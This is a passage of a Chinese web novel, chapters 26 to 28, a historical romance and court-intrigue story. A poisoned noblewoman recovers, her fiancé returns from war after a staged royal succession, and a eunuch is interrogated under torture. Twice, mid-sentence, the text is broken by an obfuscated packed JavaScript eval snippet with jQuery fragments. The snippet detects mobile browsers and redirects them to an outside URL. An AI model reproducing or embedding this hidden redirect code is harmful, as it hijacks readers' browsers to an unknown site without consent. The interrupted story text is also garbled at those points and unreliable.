“哎呦,你讨厌啦!不要问这些令人害羞的事情呀!”沈雪晴红着脸,手中的帕子被她卷了又卷。 “好好好,我不问,你能帮我个忙吗?”明枝溪话锋一转问。 “你说,我能做到的事情一定帮。”沈雪晴笑着答道。 “帮我读一下谢槐池这些日子寄回来的信,我想知道他过的怎么样。”明枝溪眼神空洞,睁开眼也看不见什么,索性闭上眼说。 “哦?你醒来就想着你那个如意小郎君啊!”沈雪晴打趣道,却还是让身边的老妈子去拿信。 不久后沈雪晴手中拿着信,不知为何迟迟不读,反倒是放回了桌上道:“你还是自己看吧,这些话我说都说不出来。” 明枝溪疑惑不解,却也还是点头应付:“嗯,好吧。” 26. 第26章 博英风早已将官家权交给沈雪晴,所以两人聊了一会儿,沈雪晴便又要去忙了,虽然大着肚子可是忙起来还真是不比男人差。 里里外外都打理得十分妥帖,博英风念其怀孕也会帮着搭把手,和音仪则是被博英风准许了亲自打理明映的婚事。 明枝溪正躺在床上百无聊赖,明映听闻她已醒,蹦蹦跳跳的来到了雪竹院。 “姐姐!姐姐你醒啦!”明映的声响由远及近,明枝溪不一会儿便听见了她踩在木板上的吱呀声。 “嗯,醒了,你怎么还没成婚,我还以为你已经嫁出去了,一时半会见不着你呢。”明枝溪心情顺畅了许多,打着趣。 “因为姐姐尚在昏迷,所以不便成亲。”明映这话说的十分委婉,明枝溪自然也知道是怕自己哪天不行了,到时候红绸换白缎,不吉利。 “是我连累了你。”明枝溪虽然面上带着笑,可语气中却带上了自责。 明映连忙紧握住明枝溪的手开口:“不,不是姐姐的错,姐姐不必自责,我倒是也想等姐姐醒了,大病初愈,然后让姐姐看着我成婚,这样才算是美满呀。” 明枝溪点点头,总觉得眼睛沉沉的,十分疲倦,开口道:“好了,你先回去吧,我还想再睡一会。” 明映懂事的松开了手,目光担忧的看着躺在床上肢体僵硬的明枝溪,片刻后开口:“姐姐不要再睡这么长时间了,我们都很想你。” “知道了,不会再出问题了,只是有点累。”明枝溪答道,空洞的眼睛睁开眨了眨,依旧是什么都看不见,只好再次闭上,“你快回去吧,都是要成婚的人了,以后是正头娘子,可不能这么小家子气。” 明映不服气的撅着嘴道:“才不是小家子气,明明就是担心姐姐,哼,我不担心你了,你睡吧。” 她说着三步一回头的走出去,明枝溪知道她在说气话,分明就是担心的紧。 待明映走后,明枝溪支撑不住自己的意识,沉沉睡去。 梦中,明枝溪再次站在了昏迷前的小巷,不过她只是一个旁观者,依旧看不清那男人的面貌,不过可以确信的是,这个男人绝对不是南朝人。 明枝溪反复经历着这一切,虽然还是没有理清逻辑,但总归是知道了一些线索。 —————— 晚间,明枝溪觉着有些饿了,睡醒后下意识便睁开了眼,突然发现自己能看见了,只是较为模糊,还需要一段时间来适应。 明枝溪对着外头喊着:“来个人。” 小玉今夜值班,听到声响忙不迭跑进来,眼中还带着泪花:“姑娘,我下午在集市听闻你醒了,赶回来后发现你还睡着,我还以为她们骗我呢,原来你真的醒了。” “嗯,我醒了,不会再昏迷了,你不要哭了。”明枝溪转头望向她,模糊的视线看见了小玉眼底被月光照亮的,闪闪发光的泪珠。 小玉激动得愣住了,不久后才缓过劲来,语气着急地问:“姑娘能看见了?” “嗯,能看见。”明枝溪眯着眼看小玉,似乎这样更清晰一些。 小玉眼含热泪,不多说一句就打算向外头跑去,找人报喜。 明枝溪见状有些着急地道:“咳咳,小玉,你等下,先给我准备膳食。” 小玉这才略微顿步答复道:“嗯!知道了!” 小玉继续朝着外头跑去,刚一嘱咐完小厨房,便急匆匆跑去博英风的院子中报喜,屋内很快聚集了一群人,明枝溪被婢女扶起靠在床上,正喝着清粥。 医官站在那儿把着脉,不一会儿便跪下报喜道:“恭喜丞相,恭喜夫人,姑娘的毒素已经彻底消退,接下来只要常带着姑娘走动便可。” “好好,时候也不早了,你先回去吧。”明衢在屋内来回踱步,听了医官的话喜笑颜开,不停摩挲着手掌。 医官缓缓退下,明枝溪试着抬起手自己喝粥,刚一抬起手便觉着这手都不像是自己的了,只好无力地放下。 “枝溪不要急,以后一定可以动的,先喝粥吧。”博英风一勺勺往明枝溪嘴里送着粥,时不时顿一顿抹着眼底的泪。 明子晋搀扶着沈雪晴站在一旁,眼中满是心疼。 明枝溪定眼看着面前的众人,博英风眼尾多了一些皱纹,明衢的头发好似白了许多,反倒是明子晋是家里最精神的,沈雪晴双手撑着腰,看着好似也老了不少。 “嗯,我知道的,不着急,我还有时间呢,现在太晚了,让小玉喂我喝粥吧,你们快回去歇息,雪晴还挺着肚子,父亲与哥哥明日还要上朝,还有母亲,你眼里都有淤痕了。” “好,知道了,那我们回去了,你也不要操心我们了,操心操心你自己。”博英风将粥递给小玉,拉着众人往外走。 明枝溪见她们走了,悄咪咪对着小玉道:“你去帮我把桌上的信拿来给我看看。” 小玉端着碗正疑惑的问:“姑娘不先吃饭吗?” “不吃了,饱了,你快去拿来。”明枝溪嗓子再次有些沙哑,忍不住咳了几声。 小玉见状也不墨迹了,快步上前将那一沓信拿来,明枝溪吃力的接过第一封信,应当是谢槐池刚出征时留下的。 上面的几个字不知被什么晕染开,依稀能分辨出来,信上写道: 枝溪,我知道你看到这封信的时候一定醒了,如果方便你愿意给我寄一封信吗?不方便也没事,等我胜仗回归,我一定会信守承诺,不管你是什么样,我都会娶你,一定要等我。 致吾妻明枝溪。 明枝溪忍不住笑出声,手指轻轻抚摸着有些粗糙的信纸,一滴泪无声无息地滑落,滴落在原先晕染的地方。 看着面前的墨水再度晕染,明枝溪心下了然,原来是泪。 明枝溪就这样不停地看,小玉站在身旁不停打着哈欠,却也不敢打扰明枝溪,因为此刻她的脸上挂着幸福的笑。 如果能一直这样就好了,小玉内心想。 直至明枝溪打开了最后一封信,上面的墨汁鲜艳,想必是不久前寄回来的,信封里夹杂着一片干枯的花,明枝溪从没见过,拿在手中端详着。 一会儿查查是什么吧,明枝溪想着拿出来信件,上面讲述的与往日并无不同,只是最后多了几句话: 枝溪,我很想你,你一定也想我吧,是我让你久等了,元宵之前我一定会赶回去,等我。 致吾妻明枝溪。 明枝溪这才发觉,好似每封信最后的落款都是‘致吾妻明枝溪’,信件上还特地标注了‘家书’二字,明枝溪弯了眼睛,喃喃自语着:“还是这样小孩子气。” 小玉小鸡啄米的低着头,听到明枝溪的呢喃声顿时一惊,抬起头睡眼惺忪问:“姑娘说什么?” 明枝溪笑着摇着头道:“没什么,你帮我把书柜上那本花草纲拿来。” 小玉困倦的打哈欠,拿了书后问道:“姑娘不睡吗?” 明枝溪接过书籍摇了摇头道:“趁现在有动力,你下去睡吧,今夜不用守着了。” 小玉不解的挠头,倒也是真困了,于是并未开口要求留下守夜,行礼后便走了。 明枝溪手中拿着那朵干枯的花儿,翻阅书籍一一对照着,最终她找到了这朵花的名字‘铃兰’,花语是‘请幸福再次降临’。 明枝溪微笑着将花夹在这本书中,放在床榻一旁,努力的想站起来。 腰部往下都十分僵硬,想要动很艰难,不出一会儿明枝溪便满头大汗,双脚撑在地上试图站起。 明枝溪伸手去够拐杖,重心不稳,直挺挺的跌落在地,不过她没有就此放弃、怨天尤人,而是努力地拿起同样躺在地上的拐杖,撑着站起了身。 她一步步向着书案走去,四肢似乎没有那么僵硬了,偶尔也能使点劲走动。 明枝溪坐在椅子上,双手的力量足以支撑她书写,她随意拿过一张信纸,缓缓书写着,由于手指有些僵,握笔的姿势十分奇怪。 歪歪扭扭的终于写好了一封信,也用尽了她所有的力气,明枝溪就紧紧坐在那儿,双手无力的垂落。 眼神黯淡无光,一时间她竟然不想将信寄出去了,她不想困住谢槐池的一生,但是很快明枝溪便想起了那朵铃兰花。 请幸福再次降临吧,她不禁这样想着,老天能不能眷顾我一次,哪怕只有一次。 不知坐在这儿坐了多久,四肢无比冰凉,可是太阳正在缓缓升起,阳光缓慢移动,照射在明枝溪的身上。 冬日的阳光微暖,并不似夏日的阳光那么歹毒,是温柔的照射,慢慢的明枝溪撑着桌睡去了。 一名婢女端着水盆走来,本是要给明枝溪梳洗,却看见一名黑衣男子站在书案前盯着明枝溪,水盆落地,发出惊呼。 惊呼声在明枝溪耳边炸响,明枝溪缓慢睁开眼,面前站着一名男子,看不清是谁,明枝溪顿时警惕起来,面前的男子与那日小巷中的男子身影重叠。 明枝溪微微眯着眼,语气有些发颤,却还是强装镇定的询问:“你怎么又来了?看到我这样你很满意?” 那名男子这次并没有遮掩自己的面庞,五官端正,鼻梁高挺,他略微抬着头俯视着明枝溪,缓缓靠近。 明枝溪紧蹙着眉,想动,伸手一够身旁的拐杖,手落空,明枝溪疑惑看去,猛然发现拐杖不见了。 “不用怕我的小羔羊。”那名男子越来越近了,“我说过我们会再见面的。” 明枝溪大声叫着身后吓傻了的婢女:“愣着做什么!找人啊!” 男子没有出手,任由婢女跌跌撞撞的跑出去,用着低沉的声音说道:“你似乎不愿意见我,不过没关系,我还是来了。” 明枝溪缓缓将身体向后退去,手似乎能用上些劲儿了,她掏出藏在书案下方的小刀,指向男子:“谁愿意见你,你快给我滚。” 男子露出悲悯的神态,脚步依旧,微微一用力就将明枝溪紧握住的小刀打落在地,手攀上她的脖颈,手指微微用力:“我不是来灭口的,张嘴。” 明枝溪撇过头,但对方力道之大,硬生生被掰回来,男子的手指缓慢伸进她的口腔,将明枝溪的嘴打开,一粒圆形小药丸就这样滚落进去。 男子松开手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567723|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,明枝溪剧烈咳嗽起来,一口鲜血喷涌而出,浸湿昨晚写好的信纸。 “我有些忙,来晚了,吃下这个药你会好很多,放心,我不是来害你的。”男子歪着头,依旧是那副怜悯的神态,“我可怜的羔羊。” 外头响起了急促的脚步声,那名男子略微皱眉,五官似乎更加和谐,更美貌了些,他缓缓开口道:“人来的很快,下次记得多观察,我站在这里看了你一夜,你甚至都没发现我。” 说罢他转身从窗户翻了出去,转眼就不见人影。 明枝溪不明所以,依旧咳嗽,明衢提着剑冲了进来,看见书案上的一抹红,以及打开的窗,他将剑随手扔在地上,跑上前拍打着明枝溪背脊问:“没事吧,我的好孩子啊,这是什么命啊!” 明枝溪缓和了许多,安抚着明衢:“没事,他好像给我喂的是解药。” 明枝溪动了动,四肢能使上劲儿了,她凝重蹙眉,不停得思考着,明衢见她能动弹了,喜出望外,脑子也不思考了,只是一味的让明枝溪再多动动。 活脱脱是一个‘见着自己孩童会走路了’的父亲。 明枝溪无奈地摇着头说道:“我不知为何那人给了我解药,但是总归是一件好事,虽然还不能站起,但是应该也快了。” “好啊,好啊。”明衢就这样一味的道好。 —————— 日子一天天过去,明枝溪很快便能起身走两步,甚至可以不靠着拐杖,只是她总觉得自己似乎忘记了什么。 明枝溪坐在明衢用重金聘请打造的轮椅上出门,早些时候便听说前线似乎胜了,敌军节节败退,而明枝溪迟迟没有收到谢槐池寄来的信。 所以打算去驿站瞧瞧是不是漏送了,小玉推着轮椅,前方人山人海,一名妇人拿到信封大喊着:“我夫君还活着!太好了!他还活着!” 明枝溪的眼眸暗淡了几分,小玉在后面宽慰道:“没事的姑娘,谢将军一定能胜仗而归的,姑娘不必忧心,不是已经传来捷报了吗。” 是啊,不是已经传来捷报了吗,我在担心什么,明枝溪想到。 不过脸上的失落还是掩盖不住她的担心:“嗯,我知道的,没有担心。” 小玉不再言语,只是担忧地看着前方,前方人挤人,小孩都挤不进去,更别说明枝溪了。 正打算失落而归时,城门外跑进来一名男子,自顾自喊道:“胜啦!前线胜啦!” 明枝溪的手微微握紧了手把,那位拿到信的妇人心满意足朝着后方肉铺走去。 明枝溪喊住她问:“现在没有收到信的...罢了没事。” 那名妇人清楚她想问什么,嘴唇蠕动了几下,露出于心不忍的表情,最终也没说出口。 明枝溪失落的被小玉推着朝丞相府的方向去,一路上两人沉默不语,走到一半明枝溪忽的开口道:“小玉,你先回去吧,我想自己一个人待一会儿。” “哦哦,好。”小玉担忧地停下,“那姑娘可得早些回来。” 明枝溪落寞的坐在轮椅上,一路上她思绪纷飞,慢慢的便到了开国侯府门外。 王老太太正站在门外,好似早就预料到她会来这里。 明枝溪带着僵硬的笑道:“王老太太。” “枝溪啊,你来了。”王老太太沉默片刻后开口,“你不要太担心了,注意休息。” “好。”明枝溪点头,向着远处离去,不知不觉间到了一处景色别致的池塘,天气冷了,湖面有些结冰,寒气逼人。 明枝溪紧了紧身上披着的狐裘,紧紧望着平静的水面,以及有些落败的景色。 “枝溪!”身后响起一道明亮清澈的声响。 明枝溪微微一愣,这个声音使她平静的心跳再次剧烈跳动起来,甚至都来不及让轮椅拐弯,明枝溪挣扎着站起来,向后方跑去。 身上的狐裘掉落在地,双腿有些发软,却还是强撑着跑去,温暖的怀抱比她想象中来的更快,更加有力。 明枝溪甚至还没跑两步,便被紧紧接住,她就这样依偎在对方的怀中,眼泪不受控制地一颗颗滚落。 眼前的人身材壮实了许多,肤色好像也黑了些,皮肤有些粗糙,那双大手紧紧环抱住明枝溪,但好像又生怕弄疼了她,又缓缓松开了些。 布满茧子的手有些粗糙,向着明枝溪的脸颊探去,轻轻抚摸掉眼泪,明枝溪抬起头看向她,眼眶泛红。 一阵风拂过,天上缓慢落下洁白的雪花,孩童的玩闹声在两人耳边回荡,雪落白头,也是幸福的。 温热的唇缓缓落下,两人交缠着,不知是谁想分离,可到头来却又会紧紧地相贴,交错缠绵,互相疯狂掠夺着所有。 “我好想你,我真的好想你,不要再让我一个人了。”熟悉的声响在明枝溪耳畔再次响起,带着一些颤抖,似乎下一刻眼泪便会落在明枝溪的脸上。 明枝溪只能更加用力抱住面前这个比她高大出许多的谢槐池,缓缓开口:“我也想你,哥哥。” 雪花落在谢槐池的肩头与青丝上,明枝溪倒是一点也没沾着。 27. 第27章 演戏 谢槐池将明枝溪抱起,放回到轮椅上,又将狐裘盖在她的膝盖上,缓缓推着向开国侯府方向走去。 明枝溪不可置信地抬着头看着谢槐池问:“哥哥,真的是你?” 谢槐池只是笑笑并没有说话,眼底乌青足以看出他有多累。 明枝溪见状也不再多说,只是一味地盯着他。 侯府外,王老太太还站在那儿,看见两人回来转头向里走去,搀扶她的妈妈不解问道:“小侯爷回来了,您不去看看?” “有人陪我去做什么?”王老太太挂着祥和的笑,“我还是莫要去打扰了,走吧。” 老妈子点着头,搀扶着王老太太回院子去。 明枝溪见天色已晚,急忙道:“哥哥,我太晚回去家里人会担心的。” “我方才来时去过丞相府,说清楚了,你今夜陪我,好不好。”谢槐池的声音很轻,显得疲惫。 明枝溪含着笑点头:“好啊,你如今回来了可得马上娶我了,不然没准又出什么岔子。” “好。” 轮椅卡在门槛处,谢槐池将明枝溪抱起,吩咐着下人将轮椅收好,随后大步朝里走去,明枝溪紧紧依偎在怀中,时不时能听到婢女与小厮的惊呼。 谢槐池将明枝溪轻放在床上,褪去自己身上沾了雪的衣物便上了床,紧紧环抱着明枝溪。 “哥哥,我记得前些日子才传回战报,契丹人不是才准备退兵吗?你怎么这么快就回来了?”明枝溪缩在谢槐池的怀中,时不时蹭蹭谢槐池的脸颊。 “你寄给我的信上带血,我以为你出事了,着急,所以就快马加鞭赶回来了,昨日契丹就已退兵了,我只是比他们快些赶回来。”谢槐池将身体凑近了些,合着双眼,呼吸平稳有力。 “信?”明枝溪思考良久后,忽的想起那夜写的信,答道,“我记得没有将那封信寄出去啊。” “有的,说不准是你身边的人正巧看到了?”谢槐池答道。 “那封信是个意外,我没事的,只是太久未曾活动,所以还不能久站。”明枝溪本想将那日神秘男子的事情告知,仔细想了想便还是选择了隐瞒。 “以后我陪你,现在你陪我睡一会儿,我跑了一天一夜。”谢槐池这句话说完,还不等明枝溪的答复,便沉沉睡去了。 这是跑死了几匹马啊...明枝溪想着,情不自禁地转过身面对着谢槐池。 短短半年,他便褪去了少年的青涩,转而变为了一个靠谱的男人,明枝溪伸出手摸了摸,身材也很结实。 手指缓慢向脸部探去,仔细抚摸着,有些粗糙,但令人安心,明枝溪含着笑往他怀里钻去,两人紧紧相依。 明枝溪短暂地闻到了寺庙香火的气味,随后不管怎么闻都闻不到。 这几日明枝溪频频做梦,要么就是谢槐池死在战场上,要么是那名妖娆男子,总是睡不好觉,不过现在她可以睡一个好觉了。 —————— 朝堂上,金黄明亮的高台上坐着一名身穿龙袍的男子,一道黄纱遮挡住他的面容,依稀能看见他撑着头坐在那儿,时不时转转手指上的扳指。 下方一片寂静,谢槐池身穿官服缓步走来,他跪下行了大礼,却迟迟不见高位上的皇帝开口,不由得抬起头看了一眼,眼神满是不耐烦。 “谢爱卿,请起吧。”端正的声响传来,响彻大殿。 谢槐池这才缓慢起身,推至一边,明衢斜睨了一眼,缓缓开口道:“圣上,此次边关已定,契丹使者正在殿外等候,正准备协商呢。” “传。”皇帝心不在焉的玩弄着手中的扳指,眼神时不时瞥向谢槐池。 高大人影缓步走出,他本是信心十足,只是走到殿前看见谢槐池皱着眉、面无表情地仰着头看他,顿时吓得往边上去了点。 “参见南朝圣上,我国近日初定,我们两国只要签署五年之契,便能井水不犯河水,此外我国愿意每年献上一名公主,已保两国之契,每年上供白银十万两,二十万匹绢布...” “这是纳贡清单,请南朝圣上过目。” 一名太监缓步上前接过,又快步递给圣上,皇帝随手瞥了一眼后道:“没了?” 契丹使者故作为难,高台上方的皇帝却不给他嗫嚅的时间,开口道:“明爱卿,你来说。” 明衢有一刻诧异,急忙正色,缓缓走出,微微行礼后道:“公主自然是不必了,毕竟公主对你们来说可有可无吧?我们要你们的王室宗亲前来我国作为质子,不知使者意下如何?” 契丹使者好似早就料到对方会这般说,佯装为难却一口答应下来,随后缓缓向后退去。 皇帝并没有觉着哪里不妥当,自顾自道:“有事禀报,无事退朝。” 谢槐池挑着眉看了一眼高台上那位闲散的皇帝,若有所思的低下头。 另一名官员走出道:“谢将军私自率兵回京,不知该当何罪?” “臣何罪之有?”谢槐池站出身,高大挺直的身材便让那名官员向后退去,“臣是奉圣上之命回京。” 最后一句话,他说的十分不情愿,好似有人逼着他说一般,紧蹙着眉心,向着皇帝翻了个白眼,并没有人注意到他的小动作。 “这..”官员迟迟说不出话,眼神求助地看向高台上的皇帝。 “是朕的意思,怎么?你有异议?”皇帝玩味似得说。 那名官员心下一惊,连忙跪地求饶,总觉得事情发展好似不太对劲,近日的皇帝怎么好似变了人,似乎不再那么昏庸无能。 “既然没有异议,那么重修北方之事便交由你去办吧,若是让我再见到民不聊生的场景,你就等着把头摘下来谢罪吧。”皇帝沉声开口。 明衢早就注意到了皇帝的不同,从前他可不会如此关心政事,而且如今不管身在何处都要用黄纱遮盖,虽然明衢隐隐有了猜测,却还是不敢妄下断言。 “退朝——”身边的太监喊道。 众人纷纷告退,走出殿堂之外,三两个聚在一起,不停地议论着,谢槐池依旧站在那儿,明衢丢给他一个眼神后也缓缓退去。 “谢爱卿还不走?”皇帝的声音逐渐沙哑,随即转变成笑。 “你还演上瘾了是吧?”谢槐池语气多了些恼怒。 皇帝将遮盖的黄纱掀开,露出那张熟悉的面容:“怎么了,你率军出征之事若是没有我帮你,你真就死定了。” “哼。”谢槐池冷哼一声,“赵康时,若是没有我在暗中帮你坐上皇位,你也死定了。” “彼此彼此。”赵康时缓步走下高台,身旁的太监倒是冷静,似乎早就接受了这个事实。 赵康时对着太监道:“我……不,朕要解散六宫。” “随你,我先府了,枝溪还在等我。”谢槐池头也不回,径直向外走去。 “什么?”赵康时不可置信地看着谢槐池,“枝溪怎么在你府上?” “我们早就定亲了,你不知道?”谢槐池脸上终于带上了一抹微笑,带着些挑衅。 “好好好,不愧是你啊,还知道先下手为强啊。”赵康时咬牙切齿道。 身旁的太监顿了顿,问:“那后宫...” “后宫那群女的有什么好看的?真搞不懂皇兄那个蠢货,我现在是皇帝,你要听我的,解散。”赵康时蹙着眉对着太监说道。 当他想再次追问时谢槐池早就已经没了身影,只好原地跳脚,大骂道:“我去你的谢槐池!我本以为能钻个漏洞,没想到你执行这个计划时,居然就已经想到我会这么干了!” “冤冤相报何时了...我的爱人呢...果然帝王都是孤独的。” 太监:...... —————— 等到明枝溪睡醒时已经到了第二日午时,身旁没有人,明枝溪撑着身子坐起,环顾四周,没有见到谢槐池的身影,有些着急的准备下床。 刚走到门口,门就从外头被打开,明枝溪眼睛发亮,看着穿着官服的谢槐池道:“哥哥,很适合你。” 谢槐池走上前抱住她问:“什么?” 温热的气息往明枝溪的耳蜗中钻去,使得明枝溪不禁躲了一下。 谢槐池含着笑看着她,连连朝着明枝溪的耳蜗吹气,逗得明枝溪娇羞地笑着,连忙喊:“哥哥,不要闹了,痒。” 谢槐池这才松开了手,紧紧牵着她的手朝床榻走去,两人并肩坐下,明枝溪接着说:“我觉得这身官服很适合你。” “是吗?我也觉得。”谢槐池笑着回答,眼神眯着像一只求摸的狐狸。 “这半年发生了什么?还有你身上为什么有香火的味道?你现在会求佛了?”明枝溪问。 谢槐池思考良久后和盘托出,缓慢温柔地讲述着这半年的事情:“你昏迷后,前线传来我爹战死的消息,你应该知道此事,我虽然伤悲,但是前线凶险,也不可无将领,自然没人想让自己的儿子上那处凶险的战场吧。” “皇帝也迟迟不做表态,不愿意增加援兵,想放弃城池与契丹交涉纳贡,我不想看着父兄几年心血,就因为这一个昏庸无能的皇帝做的一个小决定,而消失,这让他们像是从未在世间存在过。” “所以我和赵康时布了一个局,皇帝的身体早就不好了,可这个国家禁不起改朝换代了,所以我们就只能把皇帝囚禁了。” 这句话一出来,明枝溪神情顿时紧绷,没有想到这两个看似软弱的男人这么有种,若是出了一点差错后果不堪设想。 谢槐池见她神情担忧急忙宽慰道:“枝溪,不必担心,很现实,我们成功了,那些士兵不愿意保护这个暴政的君王,许多士兵的同胞,乡友,家人,都在北方,他们知道如果皇帝放弃北方,受苦难过的也只有他们。” “所以一切都很顺利,今日就是最后一步,赵康时将后宫解散后就不会有人发现此王非彼王,等到时机成熟再昭告天下,称先皇重病已久,弥留之际将皇位传与赵康时。” “这样就算有人想去追究,也没有这个胆量去追究,而我还可以顺理成章的率兵出征,收定北方,百姓也不会再因为此事流离失所,一举两得的买卖。” 明枝溪眉间上扬,微微带着苦笑,紧握住谢槐池的手:“你辛苦了,我相信你能成功,但是此事太过冒险了。” 谢槐池回握住明枝溪的手,灿烂的笑容再次出现在他的脸上:“是啊,太冒险了,但是你夫君我还是成功了,接下来我们就好好调查那幕后之人。” “你还记得那个赌坊中,常常去藏香楼的人吗?”谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568687|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槐池忽的道。 “记得,我一直联系不上他,正想问问你呢。”明枝溪答道。 谢槐池神情凝重回道:“他死了,死在藏香楼的暖阁里,凶手还在调查,不过还是有一些情报的,比如那个太监,他原先是侍奉先帝的太监,先帝死后,他也因年迈而出宫,老了还敢这么潇洒,人我已经抓起来了,我还没来得及审呢。” 明枝溪点点头问道:“那现在去?” “我去拿几套衣裳给你,外面天冷,你现在身子弱,穿多一些。”谢槐池眉眼弯弯笑着。 “好。”明枝溪点头答应。 不久后谢槐池便拿着几套衣裳走来,笑着一件件展示着,明枝溪看了一圈发现居然都是自己喜欢的款式,于是随便挑了一件暖和的。 房间内多了一道屏风,明枝溪缓缓走去,换了衣裳后走出,谢槐池两眼发亮,脸颊微烫,走上前抱着她亲了又亲。 终于磨蹭了许久两人都出门了,明枝溪依旧坐在轮椅上,她的腿站久了会发麻,只得坐着保持体力。 只是没想到刚走出一会儿便到了,明枝溪狐疑的看着谢槐池问:“你就把人藏在这儿审?不怕被人发现吗?” “发现又如何?现在谁敢治我的罪?况且他只是一个太监,为了这种人为难我,想必也不会有不长眼的。”谢槐池讲的极其轻松,完全不在意自己是否会被弹劾。 明枝溪从轮椅上缓慢的下来,仔细站好道:“走吧,我觉得走进去会比较有气势。” “好。”谢槐池伸出手,明枝溪很自然地搭上去,并没有看见谢槐池脸上心疼的神色。 刚走进院中,那名太监便有所警觉,缓步走出道:“谢世子,不,现在应该叫你谢小将军吧。” “你消息倒是灵通,想不到你都困在这了还能打听到我的消息,想必是我的人看的不够紧啊,要不以后给你捆起来?”谢槐池随意地说着,好似面前的人就是一条狗。 “那我还得谢谢你了,将我困在这却又给了我人权。”太监的声音细长尖锐,刺的人耳朵疼。 不待谢槐池说话,一群身穿军甲的男子便都走了出来,其中便有刘闻。 刘闻行礼后道:“侯爷,现在审问吗?” 明枝溪一时间有点不太适应这个称呼,定定的望着谢槐池冷峻的侧脸,谢槐池注意到视线看向他,带上了笑道:“嗯,捆起来吧。” 阴暗的屋内,太监从容不迫的甩开那些伸向他的手道:“放开我,我自己来。” 接下来就有了比较滑稽的场面,一个人自己把自己拴在铁链上,趾高气扬的看着面前的人。 “你..”太监好似才注意到明枝溪,嘴角勾了勾,“你是明枝溪吧。” 明枝溪蹙眉问:“你如何知晓?” “现在能与谢小将军走在一起的,除了你还有谁?只是没想到啊,你父亲害死了他父亲,谢槐池居然还能忍受与你一处,竟然还想娶你。”尖锐的声响说出的话,使明枝溪身形略微有些摇晃。 谢槐池扶住明枝溪,只是什么话都没有说,目光低垂着。 “你说清楚!什么叫做我父亲是害死谢大将军的凶手!父亲他每日忙公务能忙到三更,他是最希望前线能胜的人!”明枝溪激动的喊着,腿部逐渐发软,剧烈咳嗽着。 刘闻将轮椅推来,谢槐池扶着她坐下,冷声对着太监道:“你如果不愿意说实话,我也愿意上刑。” 说着刘闻手中便多了一块烧红了的烙铁,准备摁在太监身上。 “哈哈哈,你们就是天大的笑话!啊——”太监疯狂嗤笑着,刘闻顺势就将烙铁摁在他的肩甲上。 一阵难闻的气味缓缓传出,谢槐池不禁皱了眉,手还在不断安抚着明枝溪,拍打着她的背。 “怎么,谢小将军不信?你去查啊,我想明日这件事情就会人尽皆知了吧。”太监拖长着尾调,根本毫不在意烫在自己身上的烙铁,咬牙切齿说道。 “这件事情就算是假的又会如何?你们查不到的,只要没了我,你们什么都查不到!你们也别想查到!”太监嘶吼的叫着,门外传来脚步声。 “朕倒是愿意相信此事不是明丞相所为,劝你还是老实交代,不然我..咳咳,朕便赐你凌迟之刑。”赵康时红着脸走出。 这几个月他都没见过明枝溪,看见明枝溪消瘦的面容与身材不由得怔了怔,谢槐池的目光瞥来,他即刻收回视线。 “你是谁?淮王?朕?”太监迷茫。 “我是当今的皇帝啊,不过朕还记得你从前对我的‘照拂’呢,知道你在这受刑怎么可能不来好好观摩呢?”赵康时身后的婢女搬上来一把金灿灿的椅子。 明枝溪不禁觉得他是来耀武扬威的... “你们杀了..”太监顿住了,一时间不敢说话,因为他知道面前是三个疯子,说不说实话都得死,毕竟他已经知道了最核心的秘密。 “说啊,怎么不说了。”谢槐池把玩着挂在腰间的剑柄,不爽的看着面前的太监。 “我说了就是明衢害死你父亲的你又不信!”那个太监口齿犀利,“怎么非要我颠倒黑白?” 面对三个脸上充满杀意的人,他渐渐败下阵来,声音越讲越小:“你们杀了我,就什么也得不到。” 28. 第28章 招供 谢槐池听了太监的话,脸色铁青,怒气汹汹走上前,明枝溪轻轻拉住了他的手,朝他微笑点了点头。 谢槐池见状,后退几步,重新站到明枝溪身旁,明枝溪带着渗人的笑开口道:“你在引诱我们。” 太监闻言一愣,语气中带有一些颤抖,却强装冷静:“你说什么?” “我们刚进来就都被你误导了,是你先入为主,主动暴露信息,让我们被你牵着鼻子走,我们好像还没开始问吧?你以为你这样就能让我们起内讧吗?”明枝溪语气平静,满眼皆是漠视。 赵康时坐在后头,跷着二郎腿,听明枝溪这么一说,顿时将手中刚拿出的扇子合上,敲击着把手:“还能这样。” 明枝溪斜睨赵康时一眼,继续道:“所以我现在觉着你说的话都是假话,你一会儿最好能交代清楚,如果不想说话那以后就都不要说了。” 太监蹙着眉,奋力挣扎着,才想起是自己把自己铐上,露出了一副惊恐的表情,口中喃喃自语:“那位大人没说你会发现啊...不对的,全都是错的,哈哈哈,都是错的!” 刘闻看他疯模疯样的,随手拿了根鞭子打在他身上,严厉呵斥道:“老实点!别给我装疯卖傻。” 谢槐池茅塞顿开般挑了挑眉道:“那么接下来该我们审问了。” “当年无芦村惨案,是不是你策划的。”明枝溪身形微微倾倒,靠在谢槐池的腰上,一副不紧不慢的慵懒感。 “我凭什么告诉你?”太监虽然吃痛但还是咬紧牙关,一点有用的信息也不透露。 “就凭我已经知道你背后的那位大人是谁了。”明枝溪眼神垂落,似是有些疲惫,又更像是洞察一切。 太监向明枝溪投去一副锐利的目光:“你在诈我?” “我没有诈你,你要知道从我嘴里说出来和你亲口说出来,性质是完全不同的,你要好好考虑,这条狗命全在你,不在我。”明枝溪百无聊赖地伸出手把玩着谢槐池腰间的玉佩。 明枝溪忽然想到自己的双鱼玉佩不见了,于是问道:“哥哥,我的那块玉佩呢?” 